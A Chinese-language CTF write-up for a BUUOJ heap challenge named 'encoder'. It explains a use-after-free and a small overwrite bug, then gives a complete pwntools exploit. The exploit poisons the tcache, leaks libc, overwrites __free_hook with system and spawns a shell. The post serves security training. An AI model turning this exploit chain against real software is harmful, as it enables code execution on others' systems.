程序有很多漏洞点,这里讲述两个最主要的:

(1)任意写0x10大小内容到堆块中:upload函数中,当申请堆块的大小小于0x10的时候就会将直接将指针给ptr而不是重新申请

(2)UAF:encode函数中:当RLE压缩算法的后的内容小于0x10时会将释放堆块但是不将堆块的指针置为0

思路很明确,先伪造堆块,之后利用uaf+堆块前0x10大小写将释放进入tcachebin的堆块的fd指针修改到我们提前伪造好的堆块,使得其产生堆块重叠,再申请适当的堆块内容,将unstoredbin的指针挤压到我们实际没有释放到的堆块中,就可以show出libc地址,最后打tcachebinattack就好

exp:

from pwn import *
from pwncli import *
from pwn_std import *
import ctypes

context(os='linux', arch='amd64', log_level='debug')
p = getProcess("node5.buuoj.cn", "28567", "./encoder")
elf = ELF("./encoder")
libc = ELF("./libc-2.31.so")




def add(index,size,content):
    sla(">>",str(1))
    sla("FileIdx: ",str(index).encode())
    sla("FileSize: ",str(size).encode())
    sla("FileData:",content)


def show(index):
    sla(">>",str(2))
    sla("FileIdx: ",str(index).encode())

def encode(index):
    sla(">>",str(3))
    sla("FileIdx: ",str(index).encode())

def decode(index):
    sla(">>",str(4))
    sla("FileIdx: ",str(index).encode())

def dele(index):
    sla(">>",str(5))
    sla("FileIdx: ",str(index).encode())

def sum_ascii(s):
    sum=0
    for c in s:
        sum+=c
    print(sum)
    return sum
def build_encoded_payload(encoded_str):
    
    encoded_head=b"RLE\n"+p32(len(encoded_str))
    encoded_tail=p64(sum_ascii(encoded_str))
    encoded_payload=encoded_head+encoded_str+encoded_tail
    return encoded_payload

#encode()去构造uaf
payload=b'a'*0x11
add(1,0x11,payload)
add(2,0x11,payload)
#准备堆块重叠
#先伪造一个堆块
add(0,0x11,p64(0)+p64(0x551))
dele(2)
encode(1)
gdbbug()
add(3,0x100,b'a'*0x100)
add(4,0x100,b'a'*0x100)
add(5,0x100,b'a'*0x100)
add(6,0x100,b'a'*0x100)
add(7,0xc8,b'a'*0xc8)
add(8,0x100,b'a'*0x100)#padding
add(1,1,p8(0xf0))
pause()
add(2,0x11,b'a'*0x11)
add(9,0x11,p64(0)+p64(0x31))
dele(9)#完成堆块重叠
add(10,0x30,p64(0)+p64(0x31)+p64(0)*4)
show(3)
lb=uu64(ru("\x7f")[-6:])-(0x00007fe5159c3be0-0x7fe5157d7000)
print("libc_base=",hex(lb))
free_hook=lb+libc.sym['__free_hook']

#按照之前的操作,将free_hook写入到链子中
add(11,0x11,b'a'*0x11)
add(12,0x11,b'a'*0x11)
dele(12)
encode(11)
add(11,0x8,p64(free_hook))
add(13,0x11,b'/bin/sh\x00'.ljust(0x11,b'\x00'))
add(14,0x11,p64(lb+libc.sym['system']).ljust(0x11,b'\x00'))
# gdbbug(cmd)
dele(13)
ita()

文章作者: A1b2rt
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 pwn手的成长之旅
喜欢就支持一下吧
打赏
微信 微信